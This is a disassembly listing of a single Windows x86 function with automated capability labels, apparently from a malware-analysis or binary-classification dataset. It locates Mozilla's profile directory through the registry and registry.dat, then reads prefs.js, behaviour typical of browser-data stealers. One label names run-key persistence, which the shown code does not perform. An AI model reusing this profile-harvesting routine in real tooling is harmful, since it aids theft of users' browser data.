Function at 0x45926d
Capabilities:
Get common file path
Get file size
Persist via run registry key
Query or enumerate registry value
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
mov al, byte [0x486014]
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
push 0x40
mov byte [ebp - 0x184], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x183]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x18
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x7f]
mov byte [ebp - 0x80], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
or dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 4], ebx
stosb byte es:[edi], al
lea eax, [ebp - 0x10]
mov dword [ebp - 8], ebx
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
mov dword [ebp - 0x10], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
mov esi, 0x104
jne 0x4592f5
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
lea eax, [ebp - 0x288]
push eax
push ebx
push ebx
push str.AppData
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x459303
lea eax, [ebp - 0x288]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x288]
push str.Mozilla_registry.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x288]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp dword [ebp - 0xc], esi
je 0x459344
lea ecx, [ebp - 0xc]
call fcn.0045a235
mov dword [ebp - 0xc], esi
push ebx
push ebx
push ebx
push 2
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
cmp dword [ebp - 4], esi
je 0x459365
lea ecx, [ebp - 4]
call fcn.0042986d
mov dword [ebp - 4], esi
push ebx
push ebx
push ebx
push 4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
cmp dword [ebp - 8], esi
je 0x459385
lea ecx, [ebp - 8]
call fcn.0045a24b
mov dword [ebp - 8], esi
mov esi, dword [ebp - 8]
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push str.CurrentProfile
add edi, esi
push edi
push esi
call fcn.004588f6
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x4593f6
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add eax, 0xf
push eax
lea eax, [ebp - 0x80]
push eax
call esi
lea eax, [ebp - 0x80]
push eax
push edi
push dword [ebp - 0x14]
call fcn.004588f6
add esp, 0xc
cmp eax, ebx
je 0x4593f6
lea ecx, [ebp - 0x80]
inc eax
push ecx
push edi
push eax
call fcn.004588f6
add esp, 0xc
cmp eax, ebx
je 0x4593f6
push str.directory
push edi
push eax
call fcn.004588f6
add esp, 0xc
cmp eax, ebx
jne 0x459408
lea ecx, [ebp - 0x10]
call fcn.00431a4f
lea ecx, [ebp - 8]
call fcn.0045a24b
jmp 0x45946d
add eax, 0xa
push eax
lea eax, [ebp - 0x184]
push eax
call esi
lea eax, [ebp - 0x184]
push str.prefs.js
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x184]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x459478
cmp dword [ebp - 0x10], ebx
je 0x45945c
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 8], ebx
je 0x45946d
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 8], ebx
cmp dword [ebp - 4], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4594d9
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 0x14], eax
call fcn.0045bd3b
pop ecx
mov edi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push ebx
push ecx
mov dword [edi + 0x10], eax
push dword [ebp - 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4594ab
mov ecx, edi
call fcn.004594f3
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
cmp dword [ebp - 0x10], ebx
je 0x4594c5
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 8], ebx
je 0x4594d6
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 8], ebx
cmp dword [ebp - 4], ebx
je 0x4594e3
push dword [ebp - 4]
call esi
mov dword [ebp - 4], ebx
cmp dword [ebp - 0xc], 0xffffffff
je 0x4594ee
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
leave
ret